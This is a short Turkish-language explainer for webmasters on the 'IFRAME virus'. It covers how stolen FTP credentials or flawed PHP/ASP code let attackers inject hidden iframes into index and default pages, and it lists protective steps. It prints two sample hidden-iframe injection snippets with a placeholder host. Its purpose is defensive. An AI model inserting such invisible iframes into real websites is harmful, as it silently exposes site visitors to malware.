Virüsler, gerek webmasterler için gerek internet kulanıcıları için büyük bir sorundur.  Bu virüs türlerinden birisi de IFRAME virüsüdür. Bu virüs son günlerde iyice yayılmaya başladı. Bu siteler Google ve Mozilla internet taracısı tarafından saldırgan site konumuna düşerler.

IFRAME Virüsü Nedir?

Virüslü bir bilgisayardan yapılan FTP bağlantısı sonuçu sitenin index,default gibi dosyalara ya da bütün dosyalara IFRAME olarak yerleşir. Virüsün amaçı bu şekilde siteye yerleşerek site kullanıcılarına virüs yaymaktır.

IFRAME Virüsü Nasıl Bulaşmaktadır?

Öncelikle virüs, güncel olmayan virüs prgoramı bulunmayan bilgisayara bulaşır. Daha sonra bu bilgisayardan yapılan FTP girişlerinin kayıtlı olduğu dosyayı çalarak ya da şifresini çalacaktır. Virüs bu bilgileri elde ettikten sonra sitenize giriş yapar. Giriş yapan virüs sitenizin index,default gibi dosyalarına ya da tamamına IFRAME kodunu yerleştirmektedir. Bu kodu genel olarak sayfanın sonuna koymaktadır. Bu kod HTML kodları arasına gizlenir.

Bu virüs ayrıca php,asp ve asp.net kodlarında bulunan açıklarnda sızarakta bulaşabilir. Dosyalarınızın yazılıma açık olması virüsün bulşamasını kolay hale getiri ve daha rahat bulaşmasını sağlar.

IFRAME Virüsü Kodları Nasıldır?

IFRAME virüsü örneği;

<IFRAME src=’http://siteadresi/index.php’ style=’border:0px solid gray;’ WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></IFRAME>

echo “<IFRAME src=\”http://siteadresi\123″ width=1 height=1 style=\”visibility:hidden;position:absolute\”></IFRAME>”;

IFRAME Virüsünde Korunmak İçin Yapmamız Gerekenler Nelerdir?

Bu virüsden kendimizi ve sitemizi korumak yapmamız gerekn 4 şey var. Bunlar;

1 – Öncelikle FTP ÅŸifrenizi deÄŸiÅŸtiriniz.

2 – Bilgisayarınızda muhakkak güncel bir virüs programı kullanın(Kaspersky,Nod32 vb.).

3 – FTP ÅŸifrenizi otomatik hatırla konumunda tutmayınız ya da giriÅŸten sonra ÅŸifrenizi deÄŸiÅŸtiriniz.

4 – Virüsün sitedenizde bulunan php,asp ve asp.net kodlarında ki açıklardan bulaÅŸma ihtimaline karşı dosyalarınızın yazılabilirliÄŸini kapatınız. Sadece yazılıma açık olması gereken dosyaları açık bırakınız.

Sitenizdeki Dosyaları Kontrol Ediniz.

Öncelikle sitenizde bulunan index veya default dosyalarını kontrol ediniz. Virüs öncelikle bu dosyalara bulaşmaktadır. Ancak virüs diğer dosyalara da bulaşmaktadır. Bu nedenle diğer dosyalarıda gözden geçiriniz.